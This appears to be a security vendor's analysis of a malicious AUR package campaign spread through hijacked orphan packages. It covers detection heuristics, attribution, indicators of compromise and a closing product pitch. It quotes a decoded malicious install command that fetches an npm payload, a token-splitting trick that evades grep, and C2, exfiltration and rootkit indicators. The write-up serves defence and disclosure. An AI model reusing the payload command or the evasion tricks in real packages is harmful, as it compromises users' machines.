What it caughtThe headline trick of the follow-on wave. Once defenders began grepping AUR history for "bun" and "npm install", a later wave hid the call in a .install hook with every token split, so the literal strings never appear. Decoded, htbrowser-bin-deps.install runs `cd /tmp && bun add ansi-colors nextfile-js` — ansi-colors is a popular, legitimate decoy (the Bun-wave analogue of minimist/chalk); nextfile-js is the payload. It beats `git log -S "bun"`; it does not beat a resolver that unquotes the string.
Samples
b"u"n a"d"d → "bun add"decoded: cd /tmp && bun add ansi-colors nextfile-js
Calling it "obfuscation" is generous, it is string-splitting and hex escapes a careful reader can still parse. Its only real win is beating substring search (grep, `git log -S "bun"`). The failure mode is not that it is unreadable; it is that almost nobody reads the .install at all. Fittingly, the second wave was first surfaced by a community member running a local LLM over AUR diffs.
AUR cgit commit (htbrowser-bin) ↗
DetectionName typosquat & impersonation

Levenshtein distance and suffix heuristics against a popular-package list, skipping well-established packages by install count.

What it caughtThe payload names lean on lockfile/hashing semantics to read as routine tooling; analysts describe atomic-lockfile as "typosquat-adjacent" rather than a clean clone of one well-known package.
Samples
atomic-lockfilelockfile-jsjs-digest
A weakness, honestly: these are plausible-looking new names, not close edits of a single popular package, so pure edit-distance typosquatting is a soft signal here. The build-time fetch (above) is the hard evidence.
DetectionChecksum analysis (context)

Flags missing checksum arrays, all-SKIP integrity, and weak md5/sha1. Emitted as context, not evidence, a sloppy PKGBUILD is not automatically a malicious one.

What it caughtA risk signal recorded on package records; on its own it never mints an advisory.
Detection-bin source verification

For -bin packages, the download host is compared to the declared upstream. A different GitHub org or domain than the project it claims to be is a strong tampering signal.

What it caughtThe campaign’s container payload was hosted under an attacker GHCR namespace, not the impersonated project’s org.
Samples
ghcr.io/fardewoak/nodejs-argo/herbsobering430
DetectionOrphan-takeover & git-history analysis

Detects an adopted/changed maintainer whose latest commit author is absent from prior history, single-commit packages, and sudden author changes, the fingerprint of a hijack rather than organic maintenance.

What it caughtThe defining move of this campaign: existing accounts taken over, the Maintainer field rewritten, a new author appearing only on the malicious revision.
AUR cgit history ↗
DetectionPKGBUILD-diff analysis

The latest revision is diffed against the prior one: newly introduced high-severity patterns, checksums removed or switched to SKIP, source domains changed, and network code that simply was not there before.

What it caughtThe malicious install step appears as a clean addition in the diff against the last-good revision, the most legible evidence the AUR offers, and it is public.
AUR cgit diff ↗
Attribution — who shipped it?
AttributionMaintainer field → actor

On a malicious revision the current AUR Maintainer is treated as the actor (high confidence), because the attacker overwrote it. The original submitter is kept only as provenance, low confidence when a takeover is detected, since they are the likely victim.

What it caughtThe impostor handle and the contributor email it swapped in. The inadyn-mt commit is the pattern in one line: Maintainer changes from Marcin Wieczorek <marcin@marcin.co> (the real maintainer, a victim) to <vyindpettersen@gmail.com>, with depends=(bun) and a new install hook added in the same diff.
Samples
aur:cypriangulacypriangula@gmail.comvyindpettersen@gmail.com (inadyn-mt)
This is an attacker-supplied identity. A free-mail address typed into a hijacked metadata field is not a person, it is what the attacker chose to write. We attribute the account, not a human.
arch-general disclosure ↗
AttributionCommit-author linkage (and victim exclusion)

The author of the latest (malicious) commit is linked as an actor with the commit hash; prior authors are the legitimate history and are never linked. Across the npm arm, the publisher and the container owner are linked as the same operation.

What it caughtThe npm publisher, the GHCR owner, and a recovered commit-author handle on the payload.
Samples
npm:herbsoberinggithub:fardewoakcommit-author:PLYSHKA
PLYSHKA and the npm-arm hashes come from community IOC lists, not our own reversing, we ingest and cite them, we do not claim to have first-sourced them.
lenucksi/aur-malware-check ↗
AttributionVictim-vs-actor discipline

Impersonated legitimate maintainers and forged identities are explicitly excluded from the actor set, so an account listed as an actor is an attacker, not a target.

What it caughtReal maintainers whose names were forged onto malicious revisions are recorded as victims and kept out of attribution entirely.
This is a judgement call. Excluding victims is the honest choice, but it means some campaigns end up group-attributed with no named operator, absence of an actor row is not absence of an actor.
Indicators — what does it leave behind?
IndicatorsIOC extraction & retention

Every minted malicious record is mined for indicators: file hashes, Tor/onion and exfil endpoints, install commands, container images, commit-author handles and malicious package names, deduplicated and retained against the record.

What it caughtThe durable artefacts that outlive any single package name. Network: the Tor C2 (POST /api/agent, staging /bin/linux, /upload exfil), temp.sh uploads, and a 127.0.0.1 local proxy/control layer. Host: an eBPF rootkit pinning hidden_pids / hidden_names / hidden_inodes under /sys/fs/bpf (so /proc/net/tcp lies), systemd persistence (Restart=always, RestartSec=30, exec under /var/lib), and replacement of /usr/bin/monero-wallet-gui for wallet theft. Build-time: atomic-lockfile@1.4.2 via the src/hooks/deps npm preinstall hook.
Samples
sha256:6144d433f8a0316869877b5f834c801251bbb936e5f1577c5680878c7443c98bsha256:7883bda1ff15425f2dbe622c45a3ae105ddfa6175009bbf0b0cad9bf5c79b316olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onionghcr.io/fardewoak/nodejs-argo/herbsobering430/sys/fs/bpf: hidden_pids · hidden_names · hidden_inodestemp.sh POST /upload · 127.0.0.1 proxyatomic-lockfile@1.4.2 · src/hooks/deps (npm preinstall)
ioctl.fail — detection & response guidance ↗
What this is not

Where to be skeptical — including of us

In fairness

This was not an AUR vulnerability

Nothing in pacman or makepkg was exploited. No parser was overflowed, no signature was forged. The attackers logged into accounts that did not belong to them and edited build scripts that, by design, run on your machine with your blessing. That is a credential-hygiene failure and a layer-8 trust decision — not a flaw in the repository.

And mind the blast radius: the official, signed Arch repositories were not touched. They are maintained separately and are far harder to compromise. This was the AUR — the unreviewed, user-submitted repository that Arch explicitly tells you to read before you build.

The soft spot is structural: roughly 15,000 orphaned packages sit unmaintained, and adopting one is auto-accepted with no controls — an account seconds old can take over a trusted name and push a build script. That, not any exploit, is the whole attack. The blast radius stayed small (atomic-lockfile drew a few hundred installs before npm placed a security hold on it) precisely because orphaned packages are mostly unused — but a popular package left to go orphan would change that arithmetic entirely. The fix the threads keep converging on is account-age / adoption gating and review before publish.

And this is not the first time — a separate, smaller 2025 incident saw three fake browser packages (firefox-patch-bin, librewolf-fix-bin, zen-browser-patched-bin) from the handle dlagents ship a CHAOS RAT that installed a systemd service opening an encrypted reverse shell on 443. Different malware, same root cause; Arch pulled them within 48 hours. Atomic Arch is that lesson at scale, which is why "it'll happen again" is a prediction, not a worry.

The AUR did the unglamorous things right: the malicious revisions are public and diffable in cgit, the disclosure went out on a public mailing list, and the bad packages were pulled quickly. Reproducible builds are wonderful, but they cannot save you from a reproducible mistake — and "curl | bash" was a supply-chain attack long before anyone gave it a logo. The AUR is exactly as safe as the habit of reading the recipe; the wiki has said so for twenty years.

Every account above was caught after it shipped.

The Vulnetix Package Firewall checks each install against this same malware intelligence, across 25+ registries, before the dependency reaches your build. Unlike Aikido SafeChain, Socket or JFrog Curation, it pairs one of the largest de-duplicated malware corpora with end-of-life and exploit-intelligence policy and Safe Harbour autofix. The next Atomic Arch should fail at the gate, not in the postmortem.